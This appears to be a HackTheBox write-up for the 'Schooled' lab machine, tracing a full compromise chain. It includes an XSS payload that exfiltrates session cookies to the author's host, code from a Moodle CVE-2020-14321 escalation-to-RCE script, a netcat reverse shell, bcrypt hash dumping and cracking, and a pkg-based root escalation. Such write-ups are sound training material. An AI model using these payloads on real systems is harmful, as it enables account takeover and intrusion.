Vulnerabilities/bad configurations exploited
- XSS in Moodle LMS to steal Teacher session.
- Moodle LMS privilege escalation from Teacher role to Manager role (CVE-2020-14321).
- Weak password/password re-use
- User
sudo
permissions forpkg install
Enumerating the network
I started with a basic nmap scan on all ports of the target machine:
sudo nmap -sC -sV -p- -oA nmap/schooled_allports 10.10.10.230 -vv
-sC : Load default scripts
-sV : Determine service/version info from open ports
-oA : Output in all formats
-vv : Increased verbosity
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (FreeBSD 20200214; protocol 2.0)
| ssh-hostkey:
| 2048 1d:69:83:78:fc:91:f8:19:c8:75:a7:1e:76:45:05:dc (RSA)
| 256 e9:b2:d2:23:9d:cf:0e:63:e0:6d:b9:b1:a6:86:93:38 (ECDSA)
|_ 256 7f:51:88:f7:3c:dd:77:5e:ba:25:4d:4c:09:25:ea:1f (ED25519)
80/tcp open http Apache httpd 2.4.46 ((FreeBSD) PHP/7.4.15)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.46 (FreeBSD) PHP/7.4.15
|_http-title: Schooled - A new kind of educational institute
33060/tcp open mysqlx?
| fingerprint-strings:
| DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp:
| Invalid message"
| HY000
| LDAPBindReq:
| *Parse error unserializing protobuf message"
| HY000
| oracle-tns:
| Invalid message-frame."
|_ HY000
...ommitted...
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
Ports 22
,80
and 33060
were open.
Information Gathering on Website
Next, I browsed the website and found schooled.htb
was being used.
So I added schooled.htb
to /etc/hosts
, in case there are resources that points to schooled.htb
.
Also, there were some information about the employees.
And the academy seemed to use Moodle LMS.
I was confident that Moodle LMS was either a sub-directory or sub-domain, so I ran gobuster
and ffuf
.
Fuzzing for Moodle LMS
# gobuster command
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u http://schooled.htb
dir : directory mode
-w : wordlist
-u : URL
# ffuf command
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u http://schooled.htb -H "Host: FUZZ.schooled.htb" -fs 20750
-w : wordlist
-u : URL
-H : Header
-fs : filter size
gobuster
did not return the expected results, but ffuf
did. In my ffuf
command, I had to filter the response size of 20750
as there were unwanted responses returned.
Enumerating Moodle LMS
With moodle.schooled.htb
found, I added it to my /etc/hosts
file. Then, I visited the LMS.
Then, I used an CMS scanning tool, droopescan, to find out more about Moodle, especially the version used. Knowing an application's version would help me narrow down the vulnerabilities for the application.
# Clone repo and install droopescan
git clone https://github.com/droope/droopescan.git
cd droopescan
pip install -r requirements.txt
./droopescan scan --help
# Scan http://moodle.schooled.htb/moodle
droopescan scan moodle -u http://moodle.schooled.htb/moodle
The possible version detected was 3.10.0-beta
. Some googling led me to this link, where it listed vulnerabilities for different Moodle versions and its severity. But I had to explore the target Moodle more before attempting to do anything. So I went to look at the courses listed.
There was a list of courses available, and I had to register an account to enrol to any course.
All registration fields were straightforward except for the email. The email field only accepts emails that ends with @student.schooled.htb
. With an account registered, I enrolled myself into Mathematics
.
After registering, I was required to verify my account via a verification link but I didn't need to. I found out that it was an Improper Authentication vulnerability.
Within the course, I found an announcement made by the Teacher
, Manuel Phillips.
To be honest, because it was in HackTheBox, it wasn't second nature to me that Manuel Phillips would actually check a user's MoodleNet profile set. Until I took the leap of faith and tried to exploit a possible Cross-Site Scripting (XSS) vulnerability on the MoodleNet profile input field not properly sanitized.
XSS in Moodle LMS to steal Teacher session
- XSS in MoodleNet profile: https://snyk.io/vuln/SNYK-PHP-MOODLEMOODLE-1049535
- Roles in Moodle: https://www.umass.edu/it/support/moodle/roles-moodle#Teacher*
I navigated to my Edit Profile
page and pasted a PoC XSS payload that displays a pop-up if the vulnerability exists.
It worked. This also led me to determine that the Moodle version was 3.9
instead of 3.10.0-beta
.
I then used a payload that would cause any user who visited my profile to send a GET request to my own HTTP server.
<!--XSS Payload-->
<script>document.location='http://10.10.14.77/XSS/grabber.php?c='+document.cookie</script>
# Set up HTTP server
sudo python3 -m http.server 80
After saving, I was brought back to my profile page and the payload worked.
At the address bar, the URL pointed to my address and a parameter MoodleSession
came along with it. This was my own session cookie, and what I wanted was a cookie beloning to Manuel Phillips. So I crossed my fingers, while staring at my HTTP server.
Within a minute or so, I received a GET request from http://10.10.10.234
.
Using this cookie, I replaced my own with the stolen cookie using FireFox developer's tools. After refreshing the page, I was now logged in as Manuel Phillips, a user with the Teacher role.
Teacher to Manager to RCE
Understanding the privileges different roles had in Moodle, I had to obtain the Manager
role to get the most privileges. In Moodle 3.9
, there is a vulnerability that allowed the Teacher
role to escalate into a Manager
role (CVE-2020-14321) by intercepting a request that would enrol an existing Manager
role user to the course, and changing the userid
into my own. I found a script that would escalate my role from Teacher
to Manager
, enable all privileges and upload a malicious plugin payload.
-
Create a HTTP request to login as Teacher using a 'Teacher Cookie'.
def login(url, username, password, course_id, teacher_cookie, cookie_domain, cookie_path): ''' Sign in on site, with creds or with cookie ''' p1 = log.progress("Login on site") session = requests.Session() r = session.get(url + '/login/index.php') # Sign in with teacher cookie if teacher_cookie != "": p1.status("Cookie " + Color.PURPLE + "MoodleSession:" + teacher_cookie + Color.END) time.sleep(2) session.cookies.set('MoodleSession', teacher_cookie, domain=cookie_domain, path=cookie_path) r = session.get(url + '/user/index.php', params={"id":course_id}) try: re.findall(r'class="usertext mr-1">(.*?)<', r.text)[0] except IndexError: p1.failure(Color.RED + "✘" + Color.END) print(Color.RED + "\nInvalid cookie, try again, verify cookie domain and cookie path or simply change all.\n") exit(1) id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0] sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0] p1.success(Color.BLUE + "MoodleSession:" + teacher_cookie + Color.END + Color.YELLOW + " ✓" + Color.END) time.sleep(1)
-
Intercept enrolment of
Manager
and modifyuserid
to mine.def enrol2rce(session, url, id_manager, username, course_id, teacher_cookie, command): ''' Assign rol manager to teacher and manager account in the course. ''' p4 = log.progress("Updating roles to move on manager accout") time.sleep(1) r = session.get(url + '/user/index.php', params={"id":course_id}) try: teacher_user = re.findall(r'class="usertext mr-1">(.*?)<', r.text)[0] except IndexError: p4.failure(Color.RED + "✘" + Color.END) print(Color.RED + "\nInvalid cookie, try again, verify cookie domain and cookie path or simply change all.\n") exit(1) p4.status("Teacher " + Color.BLUE + teacher_user + Color.END) time.sleep(1) id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0] sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0] session = update_rol(session, url, sess_key, course_id, id_user) session = update_rol(session, url, sess_key, course_id, id_manager) data_get = { "id" : course_id, "user" : id_manager, "sesskey" : sess_key } ...
-
Login as
Manager
.def enrol2rce(session, url, id_manager, username, course_id, teacher_cookie, command): ... r = session.get(url + '/course/loginas.php', params=data_get) if "You are logged in as" not in r.text: p4.failure(Color.RED + "✘" + Color.END) print(Color.RED + "\nError trying to move on manager account. Validate credentials (or cookie).\n") exit(1) p4.success(Color.YELLOW + "✓" + Color.END) time.sleep(1) sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0] ...
-
Enable all permissions for Manager, especially to install plugins.
def enrol2rce(session, url, id_manager, username, course_id, teacher_cookie, command): ... # Updating rol manager to enable install plugins session, sess_key = update_rol_manager(session, url, sess_key) ... # Sends a payload to enable all permissions for Manager. def update_rol_manager(session, url, sess_key): ... return session, sess_key
-
Create and upload payload.
def enrol2rce(session, url, id_manager, username, course_id, teacher_cookie, command): ... # Upload malicious zip file zipb64_up(session, url, sess_key, teacher_user, course_id) ... # Create maliciouz zip file def zipb64_up(session, url, sess_key, teacher_user, course_id): ... return session
-
Obtain RCE.
def enrol2rce(session, url, id_manager, username, course_id, teacher_cookie, command): ... # RCE on system moodle_RCE(url, command) ...
With RCE, I was able to send a reverse shell command and get my initial access. (Note: FreeBSD/OpenBSD reverse shell commands differ from other Linux commands)
python3 moodle_rce_2.py http://moodle.schooled.htb/moodle/ --cookie 47vmlldg1qpu5093n8kaol8os1 --cdomain moodle.schooled.htb --cpath '/moodle/' -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.77 8001 >/tmp/f'
Enumerating the Target Machine
I added /usr/local/bin
to path as I noticed I could not run many built-in commands.
# add usr/local/bin to path for more commands
export PATH=$PATH:/usr/local/bin
As a practice, I would run commands that would tell me more about the system, such as:
# Get OS info
uname -a
# Get users in system with a home directory
cat /etc/passwd | grep "home"
# Find binaries with SUID set.
find / -perm u=s 2>/dev/null
I found the following users in the system, jamie
and steve
.
The lowest hanging fruit was the Moodle server files used, so I sought for any configuration file(s) to hopefully gain credentials. Searching within the www
folder, I managed to discover the configuration file that stored MySQL database credentials.
Breaking Password Hashes Stored in MySQL
I used the credentials found and successfully accessed the MySQL database.
I queried the mdl_users
table and retrieved the password hashes for all staffs in Moodle.
SELECT * FROM mdl_users WHERE email LIKE '%staff%';
I wrote the hashes in a file named hashes
, and used hashcat
to crack the hashes.
# Stolen hashes from MySQL
$2y$10$3D/gznFHdpV6PXt1cLPhX.ViTgs87DCE5KqphQhGYR5GFbcl4qTiW
$2y$10$n9SrsMwmiU.egHN60RleAOauTK2XShvjsCS0tAR6m54hR1Bba6ni2
$2y$10$ZwxEs65Q0gO8rN8zpVGU2eYDvAoVmWYYEhHBPovIHr8HZGBvEYEYG
$2y$10$jw.KgN/SIpG2MAKvW8qdiub67JD7STqIER1VeRvAH4fs/DPF57JZe
# Usage: hashcat <hash-type> <hash> <wordlist>
hashcat -m 3200 hashes /usr/share/wordlists/rockyou.txt
-m : hash-type (3200 for bcrypt $2*$, Blowfish (Unix))
Cracking took a few minutes, however hashcat
managed to crack the hash which belonged to admin
. Incidently, Jamie Borham
is the admin.
Privilege Escalation to Jamie
I succeeded in logging in via SSH jamie@10.10.10.234
with the cracked password and obtained the User Flag.
Privilege Escalation to root
As jamie
, I ran sudo -l
to see if jamie
could run anything with sudo
.
I looked up /usr/sbin/pkg
in GTFOBins and found a privesc method to gain root.
# Create temp directory
TF=$(mktemp -d)
# Echo ```command``` and output to a ```.sh``` script in temp directory.
echo 'id' > $TF/x.sh
# Create custom ```package``` as payload.
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF
# Run custom ```package``` on target
sudo pkg install -y --no-repo-update ./x-1.0.txz
Performing the above proved that the exploit works.
I modified the command
to set sticky bit on bash
, so I could run bash -p
to get root shell. (Credits to: xct notes)
# On host machine
TF=$(mktemp -d)
echo 'chmod u+s /bin/bash' > $TF/x.sh
fpm -n x -s dir -t freebsd -a all --before-install $TF/x.sh $TF
# On target machine
curl http://10.10.14.77/x-1.0.txz -o x-1.0.txz
sudo pkg install -y --no-repo-update ./x-1.0.txz
And I had successfully rooted the machine.
Learning points
- Always keep your application updated.
- Have good password policies and practices
- Have proper permissions control. You do not want anyone to misuse privileges.
Afternote
Rated Medium. At the time of writing, I did not have much experiencing exploiting XSS, and the privesc path was also something new. I must say that I did not expect a simulated user action would be in this machine. And seeing that my payload went through really got me excited.
The most powerful motivation is rejection.
- Anonymous